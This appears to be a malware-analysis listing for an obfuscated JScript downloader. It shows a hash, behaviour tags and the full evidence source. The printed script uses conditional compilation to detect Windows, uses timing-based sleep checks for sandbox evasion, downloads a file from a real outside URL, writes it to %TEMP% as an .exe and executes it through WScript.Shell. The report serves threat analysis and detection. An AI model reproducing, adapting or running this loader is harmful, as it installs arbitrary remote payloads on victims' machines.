20160328_d7626eaa108b0c56f3850c4990f9e989.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2569fec015ec441905bfdb5de8055a054f2af482efad40ce1a8a0634a789e005a1f
Evidence
1var Xgnyvvee = false;
2var Iiunfj = "CreateObject";
3var Guyjuutr = function Pravoss() {return WScript[Iiunfj]("WScript.Shell");}();
4var Azyoaxa = 123213;
5var Cmgjndek = "MSXML2.XMLHTTP";
6var Xczrq = 2123213;
7var Xvlay = 0;
8function Ozegwwmtk(Ldtcd){Guyjuutr["Run"](Ldtcd, Xvlay, Xvlay);};
9function Cwpjvotond(){return Cmgjndek;};
10function Tjylnmkmqo(Jyrjefm, Jedleybnq){return Jyrjefm - Jedleybnq;};
11function Xhhqejfpi(){return Iiunfj;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Xgnyvvee = true;
15 @end
16@*/
17var Rstyo = "";
18if (Xgnyvvee)
19{
20function Rjogdmsmdd(){return 22;};
21var Rergp = 0; var Czxecdiiix = 0;
22function Iyyumjsouw()
23{
24var Igvensfdn = new this["Date"]();
25var Glbob = Igvensfdn["getUTCMilliseconds"]();
26WScript["Sleep"](Rjogdmsmdd());
27var Igvensfdn = new this["Date"]();
28var Zfiggoqs = Igvensfdn["getUTCMilliseconds"]();
29WScript["Sleep"](Rjogdmsmdd());
30var Igvensfdn = new this["Date"]();
31var Pvzpe = Igvensfdn["getUTCMilliseconds"]();
32var Rergp = "Dwrdbqha";
33Rergp = Tjylnmkmqo(Zfiggoqs, Glbob);
34var Czxecdiiix = "Uartrqstf";
35Czxecdiiix = Tjylnmkmqo(Pvzpe, Zfiggoqs);
36Rstyo = "open";
37return Tjylnmkmqo(Rergp, Czxecdiiix);
38}
39var Brpdg = false;
40var Vzrdyyqk = false;
41for (var Vcekmjxt = Xvlay; Vcekmjxt < Rjogdmsmdd() * 1; Vcekmjxt++){if (Iyyumjsouw() != Xvlay){
42Brpd …
49:2… f (Brpdg && Idhqs() && Vzrdyyqk){
50function Mspudkond() {return Guyjuutr["ExpandEnvironmentStrings"]("%TEMP%/") + "oDIbKY1prH.exe";};
51 Jsuknpsh = Cwpjvotond();
52 Oyxahlge = WScript[Iiunfj](Jsuknpsh);
53 var Xrmscb = 1;
54 while (Xrmscb){
55try {
56Oyxahlge[Rstyo]("GET", "http://foothillsofhemet.com/k4sifs", false);
57Oyxahlge["send"]();
58Xzfxjplkk = "Sleep";
59do {WScript[Xzfxjplkk](Rjogdmsmdd() * 11)} while (Oyxahlge["readystate"] < 4 );
60Xrmscb = Xvlay;
61} catch(Zgvsfcq){Xrmscb = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Lggflb(Dojpmppk) {var Iwdkgu = (1, 2, 3, 4, 5, Dojpmppk); return Iwdkgu;};
64Xqiab = WScript[Xhhqejfpi()]("ADODB.Stream");
65Jsuknpsh = Xqiab;
66Jsuknpsh[Rstyo]();
67Jsuknpsh["type"] = Lggflb(1);
68Jsuknpsh["write"](Oyxahlge["ResponseBody"]);
69Xqiab["position"] = Lggflb(Xvlay);
70Jsuknpsh["SaveToFile"](Mspudkond(), Lggflb(2) );
71Xqiab["close"]();
72Ozegwwmtk(Mspudkond());
73}
74}
75